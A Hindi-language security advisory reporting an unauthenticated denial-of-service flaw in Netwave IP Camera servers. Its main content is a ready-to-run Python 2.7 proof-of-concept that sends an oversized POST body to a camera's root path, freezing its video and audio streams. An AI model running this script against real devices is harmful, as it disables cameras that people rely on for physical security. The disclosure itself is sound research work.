Netwave IP Camera सर्वर किसी भी फर्मवेयर पर एक बड़े POST अनुरोध के माध्यम से अनप्रमाणित सेवा अस्वीकार हमले के लिए असुरक्षित है

0. परिचय:

IoT सुरक्षा अनुसंधान के दौरान, विभिन्न IP कैमरा विक्रेताओं पर कुछ भेद्यताएं खोजी गई हैं। Netwave IP Camera एक IP कैमरा सर्वर है जो कैमरा वीडियो देखने और कैमरे का प्रबंधन करने की अनुमति देता है। IP कैमरे विशेष रूप से भौतिक सुरक्षा और नियंत्रण उद्देश्यों के लिए उपयोग किए जाते हैं, इसलिए इसकी उपलब्धता महत्वपूर्ण है।

1. सेवा अस्वीकार:

कोई भी Netwave IP कैमरा केवल इसके रूट पथ पर एक बड़ा POST अनुरोध भेजकर डाउन किया जा सकता है। एक बार अनुरोध भेजने पर, उपकरण अटक जाता है और ऑडियो और वीडियो स्ट्रीमिंग बंद कर देता है।

प्रूफ ऑफ कॉन्सेप्ट: किसी भी NetWave IP कैमरे के विरुद्ध निम्नलिखित Python 2.7 स्क्रिप्ट चलाएँ, यह तुरंत प्रतिक्रिया देना और वीडियो/ऑडियो स्ट्रीमिंग बंद कर देगा।

import string
import httplib
import urllib2

host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body

headers = { 
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}

url = "/"

conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data

2. शोधकर्ता:

Gonzalo García León